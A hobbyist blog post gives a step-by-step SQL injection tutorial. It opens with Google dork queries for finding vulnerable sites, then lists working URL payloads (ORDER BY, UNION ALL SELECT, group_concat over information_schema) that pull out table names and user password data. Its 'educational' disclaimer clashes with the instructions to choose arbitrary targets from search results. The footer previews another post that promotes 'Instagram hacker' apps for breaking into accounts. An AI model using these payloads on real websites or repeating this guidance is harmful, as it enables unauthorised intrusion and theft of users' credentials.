Skip to main content

Hacking Websites Using SQL Injection attack on Vulnerable Sites...!!

Hacking Websites Using SQL Injection attack on Vulnerable Sites...!!



Warning: This is only for EDUCATIONAL purposes to make you aware of the vulnerabilities that may be present in your website so that you may self test it in your OWNED website to IMPROVE the SECURITY....!! The person posting this or the this blog is not responsible for any type malicious activities performed by anyone else....!!
This is what they basically teach you when you go for certain HACKING COURSES which I have taken pains for hours to put this to you without even earning a penny and sharing it for FREE,,,,!!! Atleast some comments and feedback from you will make me Happy ^_^
So Guyzzz I have now decided to post some serious ADVANCED LEVEL OF Hacking stuffs which is how the “Cracker” breaks into your Vulnerable Websites,,,,!!!
All you need to know is a bit of SQL queries,,,!!!
It doesnt matter even if you are not an expert in
So here we go,,,
What is SQL Injection?

So let me give you some idea of what I am going to talk about...!!There are many complex definitions you may get in various other sites,,, But I put it in simple terms...!! You type some SQL queries or codes [or whatever you wish to call it ;D] on the address bar[whee you type the web address of sites to be searched] to test vulnerable website...!! If you find it vulnerable then BINGO...!! we will use some more SQL injection queries to crack it...!!
So guyz who are related to computer science stream,,, If you found learning SQL boring this is one way to make yourself interested in ;D
And as far as others are concerned,,, please dont worry i’will be giving you some codes which you may use to Test the Vulnerability of the site...!!
QUICK STEPS TO FIND THE VULNERABILITY OF WEBSITES...!!

Step 1:
Search for any of the following terms in Google:
inurl:product.php?id=
inurl:index.php?id=
inurl:news.php?id=
inurl:shop.php?id=
inurl:shop.php?pid=
inurl:newsroom.php?id=
Step 2: Now for example say there is a website that you found in Google search say for example
http://www.rahulswebsite.com/index.php?id=7
Open the website in a new tab,,,!!!
Step 3:
To test if your selected website is vulnerable:
Add the  (single quote symbol) after the site as follows
http://www.rahulswebsite.com/index.php?id=7′and now Hit the “Enter” Key,,,!!!
If there is any type of “MySQL error” !!!BINGO!!!
Then it means your target website is vulnerable.
STEPS TO HACK INTO THE WEBSITE AFTER FINDING THE VULNERABILITY
Step 1:
After finding the vulnerability of your target site, use the ORDER BY command to extract the number of columns in the database.
Ex Code:
http://www.anywebsite.com/index.php?id=7 ORDER BY 1–
Doing ORDER BY 1– should always return the original page with NO error.
Step 2:
Then do ORDER BY 2–
If this shows the original page with NO error, continue.
Now try ORDER BY 3–
And so on,
If this shows the original page with NO error, continue.
Step 4:
Continue increasing the ORDER BY number until you reach an error. For example, if doing ORDER BY 10– returns an error, then there is a table which has NINE (9) columns, NOT 10. Always subtract ONE from the number that produced the error.
STEP 5:
Next step is to use UNION & SELECT
After getting the number of columns, let’s say we have NINE columns. Then you have to type the following code:
Code:
http://www.anywebsite.com/index.php?id=7 UNION ALL SELECT 1,2,3,4,5,6,7,8,9–
You should see a page with a few numbers scattered throughout it. If so, continue,
IF NOT, try the following in which we have to add the ”  “hypen or negative sign in front of the id value of our website:
Code:
http://www.anywebsite.com/index.php?id=-7 UNION ALL SELECT 1,2,3,4,5,6,7,8,9–
At the end if this produces the scattered numbers, continue, if not, STOP!!!
Choose anyother target website from the GOOGLE search and repeat the vulnerability test...!!
Step 6:
Now we use the database() command
After you see the scattered numbers, pick one to exploit. Say the numbers on my page are TWO and SEVEN. I will choose the number TWO. After choosing your number, put database() in place of it in your URL as shown below. REMEMBER, I chose number TWO.
Code:
http://www.anywebsite.com/index.php?id=-7 UNION ALL SELECT 1,database(),3,4,5,6,7,8,9–
That should return some text in place of the scattered TWO. WRITE THIS TEXT DOWN, and move on.
Step 7: 
We use group_concat
This is where everything gets a little trickier! This is also the part where you will be extracting data. Yeah! Bingoo!!! :D :D *** Fist punch ***
After extracting the name of the database using database(), type this where you typed database() in the previous step.
Code:
http://www.anywebsite.com/index.php?id=-7 UNION ALL SELECT 1,group_concat(table_name),3,4,5,6,7,8,9 from information_schema.tables where table_schema=database()–
TYPE THIS EXACTLY AS IT IS SHOWN, and press enter.
In place of the scattered TWO, you should see a LOT of text separated by commas. These are called tables. The text varies by website, but you usually want to look for things like “admin,” “staff,” or “users.” Choose the one that interests you. For this tutorial, I will choose “users.” Now type this:
Code:
http://www.anywebsite.com/index.php?id=-7 UNION ALL SELECT 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema=database()–
OR
if you want the columns from ONLY one table, use this (courtesy of dR..EviL):
Code:
http://www.anywebsite.com/index.php?id=-7UNION ALL SELECT 1,group_concat(column_name),3,4,5,6,7,8,9 from information_schema.columns where table_name=< table name goes here in hex or ascii format >–
This should return even more text. These are called columns. Again choose what interests you, but for this tutorial, I will choose “username” and “password.”
The columns “username” and “password” contain the data we want to extract. To extract the final data, meaning, in this case, the usernames and passwords of all the users, type this:
Code:
http://www.anywebsite.com/index.php?id=-7 UNION ALL SELECT 1,group_concat(username,0x3a,password,0x3a),3,4,5,6,7,8,9 from users–
Where it says “username,0x3a,password,0x3a” is where you would the name of your chosen COLUMNS, such as username and password, DO NOT replace the 0x3a, ONLY the username and password area. Where it says “from users–,” replace “users” with the name of your chosen table such as the one “users.” All of this will produce even MORE text in this format:
Code:
admin:thisismypass:,
The comma separates each set of data.
HOPE YOU LIKED IT CHEERS :) :) :)
Posted by Nagesh ;)

Comments

Popular posts from this blog

How to remove the WannaCry & Wana Decryptor Ransomware.

How to remove the WannaCry & Wana Decryptor Ransomware Table of Contents 1 Who is this guide for? 2 What is WannaCry, WannaCryptor, WNCRY, or Wana Decryptor? 3 How to remove the WannaCry and Wana Decryptor Ransomware 4 Is it possible to recover WNCRY files that have been encrypted by WannaCry for Free? 5 How to Protect yourself from the WannaCry or Wana Decryptor Ransomware. Who is this guide for? If a user is infected with the WanaCrypt0r/Wana Decryptor Ransomware then it is important that they remove it immediately. This is because even if you are not going to pay the ransom, while the ransomware is running it will continue to encrypt new files as they are created. This guide will guide victims on how they can remove the WannaCry and Wana Decryptor 2.0 infection from their computer. This guide, though, will not allow you to decrypt your files for free. This is currently impossible. I will provide steps that you can use to possibly recover files (slim chanc

Top 10 Secret Tricks in Google.

In This Cool Video i will be Telling you Google Most secret Tricks in Top 10.. Telugu Click this Link if the video is not Working. https://youtu.be/tX7X-OsP6Hs Posted by Nagesh ;)

Top 10 Free Instagram Hacker App For iPhone and Android.

Top 10 Free Instagram Hacker App For iPhone and Android Posted by Nagesh ;) Instagram is no doubt one of the most used apps when it comes to uploading and sharing pictures with your friends and families. However, as much as you may like to use Instagram, the fact remains that anyone can access your account with or without your consent. How is this possible you may ask? The answer lies in the Instagram hacker app. Yes!! You heard right. An Instagram hacker app is a type of an app that works by retrieving passwords and other login details from a target account. As it stands, since Instagram is available on both the Android and iOS platforms, these apps can be found on this platforms as well. These Instagram hack apps are efficient when it comes to hacking passwords, so it's best to be guaranteed that they will hack your IG account in a matter of minutes. Part 1: 5 Free Instagram Hacker App For iPhone Part 2: 5 Free Instagram Hacker App For Android Part 3: Using